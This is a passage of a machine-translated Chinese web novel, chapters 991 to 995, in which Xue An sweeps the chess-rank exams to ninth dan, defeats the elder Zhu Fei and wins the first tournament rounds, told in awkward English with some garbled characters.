    "Big brother is amazing!" The little girl cheered first.


    The atmosphere in the field became a bit strange.


    Some people sneered: "It''s just a section of the exam. I can pass it with my eyes closed. What''s so proud of?"


    "Yes, this is just the beginning!"


    Xue An also ignored the group of people, but went straight to the second-stage assessment area.


    Not surprisingly.


    These two assessments are also very simple, and Xue An passed it again in only a quarter of an hour.


    Then there are three paragraphs...


    When all three assessments have passed.


    Many of the people''s complexion changed slightly.


    Normal people have to go through careful preparations to get a rank. Few people make the promotion like this because it takes a lot of energy.


    Seeing what Xue An looks like now, there is nothing unusual, as if all the three assessments just now were just passing by.


    "But although this person can advance to the third stage, that''s all. The difficulty of the fourth stage is not increased by a little bit. He will definitely stop at the fourth stage!" One day the chess master sneered.


    Everyone nodded in agreement.


    Although there are nine stages in chess, people generally habitually divide them into three levels: chessman, chessman, and chessmaster.


    Each level corresponds to three ranks.


    The first three paragraphs are called chessmen, which is the lowest level.


    This level is the least difficult and easiest.


    But after the fourth stage, the difficulty will rise sharply, which is also the first watershed that a chess monk will face.


    Even those young geniuses rarely say that they can pass the four-stage assessment at once.


    This guy who didn''t know where he came out is probably the same.


    Xue An didn''t hear the comments of the people around him, but raised his foot and walked to the fourth section of the assessment area.


    At the same time, Di Yuanlong, who was standing in the distance, gave a wink at the examiner of the fourth section, and the examiner of the fourth section nodded slightly.


    Then Di Yuanlong''s mouth showed a sorrowful smile.


    The surname is Xue, but I want to see how you pass this four-stage exam.


    The board for the three-stage examination is 15-layered, but after the four-stage examination, the difficulty suddenly rises to 21 layers.


    At the same time, Yi Gui is much stronger than the previous three condensed stages.


    The examiner gave Xue An a cold look, "If you win two games in three rounds, you will be promoted. Can you start now?"


    Xue An glanced at the chessboard on the table and the floating Yigui on the opposite side, his eyes flashed slightly, and then said with a smile, "It''s still the old rules, let''s come together!"


    boom!


    If people hadn''t taken this too seriously in the previous three assessments, they were all shocked now.


    Because this fourth stage of assessment is extremely difficult, no one has ever dared to conduct an assessment like this.


    Ten years ago, Zhuge Hanzo, who was terrifying in strength, took a lot of setbacks when he advanced to the fourth dan.


    This person is too big.


    The crowd began to talk.


    Di Yuanlong was startled slightly, and then sneered in his heart, thinking that Xue An was completely looking for death.


    At this time, the examiner looked at him with questioning eyes, and Di Yuanlong nodded slightly, motioning to continue.


    The examiner said: "Okay, this is your choice! But remember, there is only one chance for the four-stage assessment. If you fail, you will only come back next month!"


    Xue An was noncommittal.


    The three chessboards are placed, the ghosts are in place, and the game officially begins.


    This assessment attracted much more attention than before.


    Countless people looked at Xue An, who was alone in a three-game chess game, with surprise or ridicule.


    Seeing Xue An Yunzi is flying, getting faster and faster, and even in the face of three chess games, his face is still light and breezy, as if he was just playing.


    This situation gradually made the atmosphere of the audience more serious.


    Many people were shocked.


    Could this person really pass four paragraphs?


    At this time, Di Yuanlong nodded viciously at the examiner in the distance.


    The examiner did not change his expression, but his hands behind his back were slightly marked.


    The three imaginary ghosts suddenly flashed light, and then both the response speed and chess skills were greatly improved.


    Suddenly, it even crossed the fifth stage and directly came to the level of the sixth stage.


    This scene was seen by many interested people, and they all moved in their hearts.


    Obviously someone was dealing with Xue An from behind.


    Therefore, they all secretly shook their heads, thinking that Xue An will undoubtedly lose this time.


    After all, the skill of chess suddenly skyrocketed from four to six, and it was still a one-to-three situation.


    Even a chess genius like Zhuge Xuanqing is probably going to have to mess around for a while.


    Not to mention him.


    This idea circulates in these people''s hearts.


    On the other hand, Di Yuanlong''s face appeared proud.


    If you stop four paragraphs, what Xue An said before will all become a joke.


    At that time, let''s see what face he has in this place.


    But his pride did not last long, because at this moment, Xue An slowly closed his eyes.


    At this time, everyone was taken aback.


    What is the truth of closing your eyes?


    Although the role of eyes in chess is not too great, it is also indispensable.


    After all, if you play blind chess purely by deduction of spiritual mind, the loss of spiritual mind will rise geometrically.


    This is also the reason why strong players play blind games.


    Could it be that he knew he was defeated and gave up resistance?


    These people are wondering.


    See Xue An with one heart and three uses, fortune like flying.


    In fact, it can''t be described as flying, the chess pieces have almost become beams of light, and then they are crushed against three Yigui.


    At this time, the audience gradually calmed down.


    Many people were horrified.


    Di Yuanlong opened his mouth even more.


    How is this possible?


    He is just a little-known person, how could he have such a terrifying mind and chess skills?


    At this moment.


    Just listen to a crisp sound.


    All three games have stalled.


    But the three ghosts screamed, Qi Qi lost too much due to overclocking, and it went to nothing.


    At this moment, everyone looked at the three chess games on the table with amazement.


    There is no need for the examiner''s announcement, everyone knows that the outcome is divided.


    Because of the three games, almost all of them were occupied by the black chess held by Xue An.


    This kind of almost overwhelming victory is extremely rare Only when two people with very different strengths play against each other, this kind of situation will appear.


    At this moment.


    Xue An slowly got up and walked towards the five-stage assessment area under everyone''s horrified eyes.


    Di Yuanlong looked at Xue An''s back with a green complexion, and a look of horror gradually appeared in his eyes.


    Who is he?


    Why is there such a powerful chess skill.


    At the same time, Xue An passed the four-stage assessment with a crushing advantage, and the news of going to the fifth stage was also passed on the high platform.


    Jing Tianrui thought that he had heard it wrong, but it was not until he was sure that it was true that his complexion gradually faded, and his eyes flashed with sinister light.


    Zhuge Xuanqing was also shocked.


    Could it be that I really saw him wrong?

 Chapter 991： Ghost chess master

    Next is Xue An''s personal performance time.


    Five segments, six segments, seven segments...


    In the horrified eyes of everyone.


    Xue An ran through the eight segments with a crushing force, and came directly before the nine segments, which represented the highest level of the chess path.


    The news spread.


    Seeing the stars throughout the month was shaking.


    The crowd crowded the open space before the Jiudan assessment.


    People whispered and talked.


    From time to time, he would look at Xue An who was standing in front of the assessment point with complicated eyes.


    It can be said that with Xue An''s current achievements, countless people have been hit in the face.


    Because from ancient times to the present, no chess master has been able to make eight consecutive moves in such a short period of time.


    This proves that Xue An does have extraordinary strength.


    The people who mocked and ridiculed Xue An before now felt feverish on their faces, and couldn''t say anything.


    At the same time, Xue An raised his head and glanced at the majestic nine-stage examination field, smiled slightly, and walked inside.


    Everyone was shocked.


    "My God, does he really want to prove the 9th Duan?"


    "How is this possible?"


    "This is too much too much!"


    Xue An''s behavior was like pouring a scoop of cold water into the boiling hot oil, making the whole venue noisy.


    Because everyone understands what nine paragraphs mean.


    Unlike the previous eight dans, when proving the ninth dan, it is no longer Yi Gui who is playing against Yi Gui, but a real person.


    And they are all experienced and powerful chess players.


    Therefore, Jiudan has become an unattainable moat for countless people.


    It is the geniuses who have been practicing hard since they were young, they will go through a very long preparation when they are proving the ninth dan of the Dao, but this is not guaranteed to pass.


    And now Xue An actually went straight to the ninth dan without a break after playing more than a dozen extremely energy-consuming chess games.


    Many people shook their heads secretly, thinking that Xue An was too arrogant.


    Di Yuanlong looked at Jing Tianrui on the high platform in the distance, and wanted to ask for advice.


    Jing Tianrui''s mouth showed a sneer, nodding slightly at him.


    Di Yuanlong smiled and understood that Jing Tianrui had made arrangements.


    really.


    Just after Xue An entered the Jiudan assessment area, the door of the chess courtyard suddenly opened, and then an old man with a goatee and a gloomy face walked out from it.


    After the old man came out, he looked around the audience, and when he saw Xue An standing in the middle of the Jiuduan assessment area, he gave a slight cold snort and walked over here.


    The audience was silent at first, and then there was a violent commotion.


    "Is it actually the elder Zhu from the chess academy who made the assessment himself?"


    "This Xue An is so happy now!"


    Many people looked at Xue An with gleeful eyes, and some people who had a good view of Xue An shook their heads secretly, feeling quite regretful.


    Because this old man with a goatee is no one else, he is an extremely powerful elder in the chess school named Zhu Fei.


    Because of its early fame and the vicious and vicious style of chess, it is also respected as a ghost chess master.


    The general nine-duan assessment is done by some ordinary nine-duan chess masters, and it is rare that the elders of the chess academy will appear as examiners.


    Now this can only prove that Xue An''s luck is too bad.


    Above the stands, Zhuge Xuanqing''s complexion gradually became gloomy.


    She asked herself, even if she faced Zhu Fei, this ghost chess master, it would be difficult to win.


    What''s more, now that Xue An plays more than a dozen games in a row, his energy is drained.


    And the elder of the Chess Academy suddenly made a move, and there must be someone in it.


    Thinking of this, Zhuge Xuanqing turned to look at Jing Tianrui in the distance.


    Seeing her gaze, Jing Tianrui nodded slightly at her, revealing a smug smile.


    Zhuge Xuanqing''s pupils shrank suddenly.


    Sure enough, he was instructing behind.


    But the matter is over, Zhuge Xuanqing can only sigh with regret.


    It seems that this time he is really going to lose.


    Now Zhuge Xuanqing''s perception of Xue An has been greatly improved, because Xue An has proven his strength through the previous eight-stage assessment.


    It''s just that he was too public, and aroused the dissatisfaction of Amaterasu Star Territory, and finally sent the elder of the chess academy to stop him.


    Otherwise, today there is a real possibility that there will be an unprecedented continuation of Jiuduan.


    You must know that even her brother Zhuge Hanzo was just going through nine dans in three days.


    Just this, it has been passed down as a good story.


    Zhuge Xuanqing has mixed flavors in his heart.


    The Gong brothers and sisters stared blankly at everything in the field, and after a while, Gong Xueman asked quietly.


    "Brother, is this old white beard very good?"


    Gong Changyue nodded solemnly, "Awesome!"


    "Will Mr. Xue win?"


    Gong Changyue shook his head, "I don''t know either!"


    Gong Xueman looked at the court again and whispered softly: "I think Mr. Xue can win!"


    At this time.


    Zhu Fei, the ghost chess master, walked into the nine-duan assessment area with his back on his back, baring his teeth at Xue An.


    "Young man, I have seen all of your performance just now. I have to admit that whether it is your chess cultivation base or divine mind cultivation base, it is very good! But you are too big to be too big, and you want to even prove nine dans. !"


    Xue An raised his eyes slightly and smiled faintly, "Why? No?"


    Zhu Fei''s face sank, "The Chess Academy is very dissatisfied with what you did, so I can tell you clearly now that everything is over! If you give up now, the Chess Academy will let you go, otherwise... ...Huh."


    Although the words are not finished, the threat is already obvious.


    The appearance of Zhu Fei, the ghost chess master, was not simply due to Jing Tian Rui''s request.


    In fact, when Xue An was in the seventh paragraph of the Dao, Amaterasu Chess Academy was already alarmed.


    Many elders got together and watched Xue An''s actions.


    When he broke into eight dans in a row, and headed for the ninth dan.


    This day, Shoji Academy couldn''t sit still anymore.


    Because they can''t allow a chess player who is not Amaterasu to create such a record.


    That''s why he was sent out as an examiner in order to stop Xue An.


    At this time Xue An said calmly: "That''s it? But what if I don''t?"


    Zhu Fei''s expression sank, because he didn''t expect Xue An to actually reject him face to face, so he sneered: "Don''t want to give up? Young man, don''t feel proud and complacent because you have a little strength! It''s too arrogant, and it''s easy to fall back."


    The atmosphere suddenly stagnated.


    Many people''s eyes focused on Xue An.


    Faced with Zhu Fei��s words, Xue An only smiled, and then said in a leisurely manner: ��Don��t you be a young man? Don��t talk nonsense, don��t you want me to give up? Then I will teach you how to be a man today. !"


    boom!


    This remark caused a great uproar.


    Zhu Fei''s face was even more ugly, dripping out of water, and then angrily smiled: "Okay! What a young hero, today I will let you understand, what is **** or old hot!"

 Chapter 992： Weird start

    The chess board used in this assessment has a full stack of 88 layers, and it is not a standard 19 by 19 board, but a large board that is more than double the size.


    This level of difficulty has caused many high-ranking chess masters to become disillusioned.


    Xue An just smiled at this indifferently, "No need to guess first, you are the first, let''s start!"


    "Huh!" Zhu Fei was even more angry when he heard this.


    How arrogant this man must be to let himself start.


    However, he didn''t say anything, and fell asleep simply and neatly.


    But this son was directly in front of Xue An not far away, and this kind of start was extremely rare.


    There was a slight commotion among the crowd.


    "Sure enough, it is worthy of being called a ghost chess master. This first step is directly on the opponent''s territory, and the chess style is really curious."


    "But how do I think this ghost chess master did this deliberately, just to hit the opponent in the face?"


    Many chess masters nodded after hearing this.


    Because this step is indeed full of insults in it.


    Now, it depends on how Mr. Xue responds.


    Xue An glanced at this step, but didn''t feel annoyed at all, just smiled slightly, and then settled back.


    And this step was directly in front of Zhu Fei.


    This time the audience was shocked.


    No one thought Xue An would respond in this way.


    Zhu Fei''s complexion was even more cyan, his eyelids throbbed, and he said coldly, "What do you mean?"


    "It doesn''t mean anything, I just want to mean it to you! Because you meant it to me first, don''t you allow me to mean it to you?" Xue An said with a smile.


    Zhu Fei was almost given the meaning of Xue An''s meaning, but immediately, he understood that Xue An was playing a game of himself, and he couldn''t help but glance at Xue An with bitterness.


    "Well, I want to see what tricks you can do!"


    With that said, he settled down like flying and began to play against Xue An.


    It''s just that the style of this chess game was abnormal from the beginning.


    Because both sides didn''t start from their own side or mid-game according to the normal routine, but went directly to the opponent''s gate.


    So after several games, a strange scene appeared on the chessboard.


    The chess pieces of both of them are on the other side, and at first glance it looks like they have switched positions.


    But this is not the weirdest.


    The mouths of everyone in the audience were slightly open, looking at Xue An with weird faces.


    Because from the beginning to the present, every step Xue An has taken is exactly the same as the ghost chess master Zhu Fei.


    Like a mirror, every move of Zhu Fei is perfectly reproduced on the other side of the chessboard.


    What kind of routine is this?


    Many chess masters are puzzled.


    Zhu Fei was even more constipated.


    Finally, after a few more steps, he couldn''t hold back anymore, and said angrily: "What the **** do you mean by the surname Xue? Why does every step follow me?"


    Xue An smiled faintly, "Who said I walked the same way as you?"


    "Are you still sophistry? Obviously every step is in accordance with my path!" Zhu Fei was furious.


    "Oh?" Xue An looked at Zhu Fei with a faint smile, "Although it is somewhat similar, I didn''t copy your way, but I happened to plan to go like this too!"


    Hearing Xue An''s "shameless" remarks, the audience was silent and then in an uproar.


    Some people are simply angry and happy.


    Many people secretly shook their heads, thinking that Xue An was just delaying time.


    Gong Xueman couldn''t help but smile at this time: "Brother, is this Mr. Xue on purpose?"


    Gong Changyue didn''t answer his sister''s words, he was looking at the chess game solemnly.


    Because he found that he couldn''t see through this game.


    What exactly does Mr. Xue want to do?


    Does he really want to follow Zhu Fei''s tricks step by step?


    But it is a wishful thinking to defeat a chess master through this almost rogue trick!


    really.


    Seeing Zhu Fei''s face changed, then he grinned and said, "Very well, since you are so willing to learn, then you can learn it!"


    With that, Zhu Fei continued to settle down.


    Xue An still followed his way.


    The strange chess game in this style of painting made all the chess masters puzzled.


    But many powerful chess masters have already shook their heads at this moment, thinking that Xue An will lose.


    Since ancient times, no one has heard of anyone who can win chess in this way.


    This is obviously Xue An''s dying struggle.


    For example, Jing Tianrui, he is in a good mood now, and can''t help looking at Zhuge Xuanqing in the distance with pride.


    But Zhuge Xuanqing focused all his attention on this game of chess.


    Jing Tianrui was a little disdainful, thinking what''s so good about it.


    But he didn''t know that Zhuge Xuanqing at this moment had a trace of doubt in his heart.


    Because she found that although Xue Nian followed Zhu Fei''s tricks in every move, there were always some weirdness on the chess surface.


    Zhuge Xuanqing couldn''t tell what was weird, but he just felt something was wrong.


    This feeling made her feel restless, so she kept frowning and staring at the board.


    At this time, the chess has reached the middle game, Zhu Fei sneered in his heart.


    Don''t you want to play with yourself in this way?


    Well, I want to see how you still learn from me this time!


    Thinking in his mind, Zhu Fei fell a son.


    When this one fell, the pattern of the whole game was instantly different.


    Seeing that Zhu Fei''s black piece instantly formed a head-to-tail response because of this move, as if a black dragon had been spotted in its eyes, and its teeth and claws were going to attack the white piece.


    At this moment, the audience was amazed.


    "Sure enough to be a master at the Celestial Master level, this is obviously a game that has been set from the beginning!"


    "The key point is that this surnamed Xue just wants to learn but can''t learn it, because Elder Zhu has already passed the layout and sealed all his retreats. This calculation really deserves the word ghost chess!"


    These comments are in admiration.


    Zhuge Xuanqing retracted his gaze, because in her opinion.


    Xue An lost.


    And it was a terrible loss.


    There is no possibility of turning over Not only her, but almost all chess players think so.


    At this time, Zhu Fei grinned and said: "The surname is Xue, don''t you like to learn? Now I see how you can learn from me! What I just said, don''t be too arrogant young people!"


    Amid his clamor and the discussion in the audience, Xue An still had his face indifferent, but he lowered his head as if looking at the chess game.


    Gong Xueman said anxiously at this time: "Brother, did Mr. Xue lose?"


    Gong Changyue sighed, "Yeah! Lost! It''s still too bad!"


    When saying this, Gong Changyue''s face was full of despair.


    But at this moment.


    Xue An slowly raised his eyes and smiled at Zhu Fei, "But I also said that I''m not angry...you''re a young man?"


    With that said, Xue An also understatement fell behind.

 Chapter 993： 1 child falls and the world is shocked

    As soon as this son fell, there was a sudden silence in the chaotic audience.


    Because under Xue An��s son, Bai Zi, who had been in desperate situation, came back to life in an instant. If black chess is like a dragon, then Bai Zi is like a white dragon slasher, and he has become absolutely arrogant black chess. The potential to kill.


    This shocking reversal naturally shocked everyone.


    And Zhuge Xuanqing, who had not had any hope for Xue An, suddenly stood up after seeing this step, and exclaimed, "How is it possible!"


    At this moment, Zhuge Xuanqing was inexplicably shocked.


    Because she finally understood where the error she had just noticed came from.


    It''s because of the situation!


    Although Xue An has just followed Zhu Fei in every step, there are differences in some very subtle places. It is this extremely inconspicuous difference that changes the momentum of the chess game in a subtle way, and makes Zhu Fei unconsciously sink into it. among them.


    If Xue An��s layout is like a spider, then Zhu Fei is a flying insect caught in a spider web.


    When Zhu Fei thought that he was sure of winning, Xue An directly completed a wave of perfect counter-kills by relying on the strong chess momentum he accumulated.


    This is why Zhuge Xuanqing felt that the chess game was wrong before.


    Because Xue An has been laying out the entire game in this way.


    This made Zhuge Xuanqing''s heart set off a stormy sea.


    Because this kind of deduction ability is simply terrifying.


    She grew up, she has only seen this ability in her brother Zhuge Hanzo.


    But even her brother could not have such a perfect layout.


    Could it be that he knew the ending from the beginning?


    Zhuge Xuanqing looked at the proud figure in the field with a blank face.


    And the exclamation of the audience was one after another.


    "Fuck, this game of chess can be played like this? Why didn''t I expect it just now?"


    "This step is like a magical stroke, it''s simply amazing!"


    "Niu*, this can be called a word fall and the world is shocked!"


    "This kind of chess skill, even the average nine-dan chess masters have to be willing to go down!"


    Hearing these sounds of exclamation and praise, Zhu Fei''s expression completely solidified.


    He never expected that things would suddenly take a turn for the worse.


    Obviously everything went smoothly at the beginning, and he jumped in the pit he dug for Xue An!


    Why did he lose in the end?


    Zhu Fei was puzzled.


    At this time, Xue An said calmly: "Now, what else do you have to say?"


    Zhu Fei''s face turned red, and it was red and purple.


    Chess is so real. If you win, you win. There is no reason for those who lose.


    Therefore, even though this Zhu Fei was full of resentment and resentment, he could only bow his head in the end, "I lost!"


    These simple three words set off stormy waves in the entire venue.


    Jing Tianrui''s face was pale, and he slapped a seat beside him with a slap, and his eyes were full of cold killing intent.


    And the reason why he is so angry is not only because of resentment, but also because of a trace of fear.


    At the very beginning, he didn''t take Xue An seriously, thinking that he was just like an ant.


    At that time, I asked Di Yuanlong to trouble Xue An, but wanted to find some fun for himself.


    Unexpectedly, Xue An used the momentum of crushing to prove the ninth dan, and finally defeated even the elder of the chess institute.


    Such terrifying strength made Jing Tianrui feel a little bit cold.


    What is the origin of this person?


    But whether he is unwilling or fearful.


    It is an indisputable fact that Xue An won with one son, Zhu Fei, the ghost chess master.


    No one can change this.


    Therefore, in the gaze of countless people, the ghost chess master Zhu Fei walked away in disgrace, and another elder walked out of the chess academy, announcing that Xue An had officially obtained the 9th dan.


    At this moment, the audience was silent, and then, without knowing who took the lead in the applause, there was thunderous applause.


    Many people looked at Xue An with shame, because at the beginning, they didn''t think Xue An could really succeed.


    But who would have thought that Xue An not only succeeded, but also created an unprecedented record.


    But Xue An didn''t feel anything about all of this. He got off the viewing platform and walked up to the Gong brothers and sisters and smiled slightly.


    "Let you wait a long time!"


    The Gong brothers and sisters recovered from the petrochemical state and looked at Xue An with amazement.


    Especially Gong Changyue, although he vaguely knew that Xue An''s chess skills should be good, he did not expect it to be so powerful.


    And Gong Xueman was even more surprised, "Mr. Xue, you are amazing!"


    Xue An glanced at her and said with a smile: "Why? Don''t you say I''m bragging?"


    Gong Xueman scratched his head in embarrassment and smiled.


    "Let''s go, the game is about to start! Great show, this has just started!"


    With that said, Xue An took the lead and walked to the high platform.


    Wherever they passed, everyone gave way, and then looked at Xue An with awe or admiration.


    When he walked to the high platform, Xue An smiled at the guard who was hiding in the corner, afraid to come.


    "Excuse me, can I go up now?"


    The guard trembled all over, and then he nodded hurriedly, "Of course, please come on stage!"


    Xue An smiled and walked onto the high platform. After looking around, he saw Zhuge Xuanqing sitting not far away. He couldn''t help but smile, and then walked straight over.


    "Can you sit next to it?" Xue An asked.


    Zhuge Xuanqing was also taken aback. She didn''t expect Xue An to come over, but soon she nodded.


    "Please!"


    Xue An sat down on his own, then waved to Gong Changyue, who was looking awkward and twisted in the distance.


    "What are you doing standing there? Come and sit down!"


    Gong Changyue slowly walked over, then lowered his head and whispered "Miss Zhuge!"


    In that way, it seemed that he didn''t even dare to look at Zhuge Xuanqing.


    Xue An was a little bit dumbfounded when he saw this, this guy was a bit too much honestly!


    Zhuge Xuanqing nodded slightly, then turned his head and looked at Xue An with interest.


    "You''re good!"


    Xue An smiled, "It''s just a coincidence! That Zhu Fei is too obsessed with gains and losses, so he knows nothing about the dangers in the distance!"


    Zhuge Xuanqing nodded thoughtfully, she always felt that Xue An''s words seemed to be meaningful.


    At the same time, she also had a strong curiosity about Xue An''s identity Who is he?


    Zhuge Xuanqing thought about it.


    Xue An turned his head to look at Jing Tian Rui on the high platform in the distance, and the Cai family sitting beside Jing Tian Rui.


    Coincidentally, Cai Yongxin also looked here at this time. When the two eyes met, Xue An showed a slight smile.


    But this smile made Cai Yongxin pale and turned his head hurriedly, not daring to look again.


    Now he is full of horror.


    Because he didn''t expect things to become what it is now.


    But soon, he showed a trace of ruthlessness, how can you just preach the nine dans?


    Can you really defeat Master Jing?

 Chapter 994： The game starts step by step

    This is also the common idea of ??many Amaterasu chess players present.


    In the eyes of these always arrogant Amaterasu chess masters, apart from Zhuge''s family, there is no such thing as a match for Amaterasu chess masters.


    As for Xue An, it was nothing more than good luck, and happened to win the ghost chess master Zhu Fei.


    And many people think that Xue An��s previous demonstration of the 9th Duan has consumed too much energy, so he estimates that it will be difficult for him to do anything in the upcoming game.


    For these strange eyes, Xue An just smiled lightly and didn''t bother to pay attention.


    The game finally officially started.


    This chess game uses a single elimination system, which means that if you lose a game, you will be eliminated directly.


    This kind of very cruel rules of the game made the participating players dare not slack in the slightest.


    Because every game is a battle of life and death for them.


    So the atmosphere of the audience became solemn.


    Countless people opened their eyes and watched the huge screen arranged by the power of divine consciousness above the sky.


    The above is divided into small boxes, inside are the actual chess game of each participating player.


    Because it is a single knockout match, all opponents of each person are random.


    Xue An''s opponent was a middle-aged woman with good looks.


    When the woman saw Xue An, her face showed joy.


    Because she also feels that Xue An is now at the end of the battle, and her first game is considered stable.


    Xue An just smiled faintly and didn''t talk nonsense, and started the game directly.


    The chessboards used in this chess game are all specially made, stacked one hundred and seventy layers, and they are all 72 multiplied by 72 giant chessboards.


    Let alone a game like this board, most people might get dizzy just looking at it.


    Because of the intricacies of the chessboard, its complexity is simply staggering.


    Although this middle-aged woman is unknown, as long as she can become a nine-dan chess master, there is no easy generation.


    This opening revealed the middle-aged woman''s powerful chess cultivation skills, and her chess style was extremely stable, and every move was as standard as a textbook.


    Although this kind of steady and steady play is lack of appreciation, it is the safest and most troublesome style of chess.


    Unless the chess skills are very different from each other, it is difficult to crack such a method in a short time.


    Because of Xue An��s amazing performance before, many people turned their attention to him, but after seeing this opening, many people could not help but shook their heads secretly, thinking that Xue An��s hope of winning was very slim.


    Because the middle-aged woman had clearly gotten that Xue An was losing too much energy now, and planned to use this step by step means to consume Xue An a little bit.


    Although it sounds boring, it is the most effective.


    What surprised these people was.


    Xue An didn''t show any impetuousness about this situation, but started to fight the middle-aged woman with a calm expression.


    She step by step, Xue An also defends layer by layer.


    So the style of this chess game began to deviate.


    Both sides seemed to have overstepped the generals safely and carefully, guarding all the soldiers, but they hardly made any attacks.


    Over time, this chess game is so boring that people want to yawn.


    Many chess masters who were watching were also a little stupid.


    "This Xue An is clever, probably thinking of delaying time through this method, so as to restore energy as soon as possible!" Someone guessed.


    Others shook their heads, "This is just a stopgap measure, I don''t believe they can keep on going like this."


    But the fact is as this person said, the situation has been in a stalemate.


    Even when someone else��s game has reached the mid-game, some fast players have already ended the battle and eliminated their opponents.


    Xue An is still defensively.


    Many chess masters couldn''t help showing contempt.


    Although this style of chess is not at fault, in the eyes of many people, Xue An has clearly lost his courage.


    And a person who has lost his courage is not worthy of being called a chess master.


    The atmosphere is getting more and more depressing.


    Xue An still looked indifferent.


    But the middle-aged woman who was playing against him was already somewhat unsupported.


    I saw her face pale, and she became hesitant when she settled down.


    at last.


    After another stick of incense time.


    The middle-aged woman finally couldn''t help it, and launched an offensive.


    Because the previous layout was too perfect, once this offensive was launched, it would be extremely tough.


    Many sleepy people who have already watched this game have their eyes bright after seeing this scene.


    Has it finally started?


    But to these people''s expectations, Xue An did not change the slightest in the face of such an attack, but continued to advance the front step by step.


    In the face of this kind of defense like a tortoise shell, all the attacks of the middle-aged woman turned into useless work.


    finally.


    Xue An was able to stifle the middle-aged woman''s chess momentum through this almost rascal method, and won the victory in this chess game.


    The game is over.


    The middle-aged woman looked pale and gave Xue An angrily, then turned and left the chess table.


    However, the audience was stunned for a moment and then there was a burst of discussion.


    "This style of chess is too shameless!"


    "I didn''t expect to be able to defeat the opponent in this way!"


    Many people expressed contempt for Xue An''s approach.


    Xue An sat there calmly, without the slightest expression.


    The chess game is like this. If you lose, you lose. There is no reason to say.


    At this time, the first round of the game is over.


    This time eliminated half of the participating players.


    Xue An looked back and found that Gong Changyue won the first round without any accident and successfully advanced to the second round.


    As for Zhuge Xuanqing, he was the first player to defeat his opponent and advance to the second round.


    Sedum sharp followed closely behind.


    You can also see each other''s strength by completing the game.


    In contrast, Xue An was almost the last one to finish the game, so Jing Tianrui gave a cold snort, completely letting go.


    In his opinion, Xue An''s victory was purely due to luck. No accident, he would be the first to be eliminated in the second round.


    For such a weak person, he naturally didn''t bother to pay attention.


    After a short break, the second round of competition finally began.


    What Xue An drew this time was a man who looked very honest and honest.


    Even after sitting across from Xue An, the big man smiled a few times, "Hello!"


    But after seeing this big man, many people in the field were all taken aback, and then their faces were strange.


    Some people couldn''t help but laugh out loud.


    "Now, this Xue An is probably having a lot of fun!"


    Someone can''t help but ask curiously: "Why do you say that?"


    "You don''t know this big guy. This guy is a nine-duan chess master from the Greedy Wolf Star Territory. Although he looks very honest, he has a nickname...the chess maniac!"

 Chapter 995： In the way of others, return to the body

    "Chess lunatic?"


    "Yes! The reason why he is called that is because this guy''s chess style is like a real madman, and his chess style is extremely crazy, and the killing is even more frightening! Especially good at dealing with the kind of steady chess master. "


    Speaking of this, the chess master looked at Xue An with a smirk, "Isn''t he good at a steady chess style that plays steadily? I''ve encountered a chess maniac. I guess I can''t cry for a while!"


    really.


    As this person said.


    This simple and honest looking guy, when he held a chess in his hand, seemed to be a different person, his eyes instantly became crazy, his expression even more hideous and terrifying like a madman.


    Once he fell, he went straight into Xue An''s chessboard in the palace.


    This extremely arrogant start made the audience let out a low exclamation.


    Even if he did not recognize this big man, he could see what type of chess master he was at this moment, so they all had no hope of Xue An''s game.


    But just when people felt that Xue An was defeated.


    Xue An raised his head and smiled at the big Hansen on the opposite side of the board, "I like your style very much!"


    After all, Xue An fell behind without hesitation.


    This son can no longer be said to be directly in the opponent''s palace, but directly on the opponent''s forehead.


    This arrogant chess style than a big man made the audience stunned.


    "Is it dazzling? Didn''t he just know how to be steady? Why did he suddenly change his style?" Someone exclaimed.


    This chess lunatic was also a little dumbfounded, but in an instant, he woke up, and then a raging anger burned in his chest.


    No one has ever dared to play chess with himself like this, which is simply a great insult to him.


    Therefore, he grinned, luckily flying, and launched an extremely fierce offensive.


    This offensive was fierce enough to shock the onlookers.


    Can be very fast.


    All the onlookers were stunned.


    Because they discovered that although the chess maniac''s offensive is fierce, the chess style is crazy.


    But Xue An was more fierce and crazy than him.


    That almost desperate style of play made many people feel a little dazed.


    Is the steady chess style that I dare not even tentatively dared to be the same person as the evil spirit chess style that seems to have just been released from hell?


    The face of the chess lunatic also gradually turned pale.


    Because he found that everything he was proud of had become eclipsed when facing Xue An.


    Whether it is offensive or layout, Xue An steadily crushes himself.


    It seems that there are not many on this side, but it makes the chess lunatic full of despair, because no matter what means he uses and how many twists and turns he takes, he can''t narrow the gap.


    at last.


    After a stick of incense.


    The chess game stopped abruptly, and then Xue An shook his head and said lightly: "It seems that your chess style is not crazy enough!"


    After all, Xue An fell.


    This one fell straight into the middle of the great Han''s momentum, like a sharp blade, directly pierced into his midfielder.


    In an instant, the white chess pieces belonging to the chess lunatic began to disappear madly, while Xue An''s black chess spread out and occupied the entire chessboard.


    "You lost!" Xue An said lightly.


    The man''s face was extremely gray, he looked at him blankly for a long time, and then suddenly opened his mouth, vomiting a large mouthful of blood, and fell to the ground unconsciously.


    In this chess game, there are naturally doctors waiting for them.


    Because a stale chess game often consumes all the energy of a chess master, or even overdraws all the spiritual thoughts, if it is not rescued in time, the spiritual thoughts will collapse and the souls will be destroyed.


    So when the chess lunatic fell to the ground, a doctor soon carried him away for rescue.


    At this time, the audience was dumbfounded.


    How good is Xue An''s chess skills even if all the shogi lunatics vomit blood?


    Many people looked at Xue An with incredible eyes.


    Because they suddenly discovered a terrible fact.


    That is, although the competition has only gone through two rounds, Xue An has already changed the two styles, and both are the best at opponents.


    Could it be... he did it on purpose?


    Some people shuddered as soon as this idea came up in their hearts, and then forcibly dispelled it.


    Because if this is true, it would be terrible.


    This time, Xue An was the first to complete the game in the second round.


    After he was finished, he began to look at other people''s chess games.


    I saw that Gong Changyue was fighting with an old man. Although it seemed a bit difficult, from the perspective of chess, he should be able to win.


    And Zhuge Xuanqing also encountered a strong opponent this time. The two sides started a fight. Although it can be seen from the general situation of the chess game that Zhuge Xuanqing will definitely win, but the opponent''s indomitability has brought her a lot. trouble.


    While Xue An was looking at all this.


    Jing Tianrui''s chess game is also over. Although the opponent''s strength is also very good, he still loses in front of him.


    After winning the victory, Jing Tianrui turned his head and glanced at Zhuge Xuanqing''s side. Seeing that she was still fighting, he couldn''t help showing a smug look, thinking that he should be the first one this time But when he looked around the audience, he saw Xue An sitting on the high platform, looking at himself with a smile.


    He couldn''t help being taken aback.


    what happened?


    Is his game over?


    But why is he still sitting there? Could it be that... he won again?


    Stormy waves were set off in Jing Tianrui''s heart.


    At this time, Xue An stretched out his hand, wiping his neck at Jing Tianrui, then moved his lips slightly and said two words lightly.


    "Wait!"


    The audience was silent.


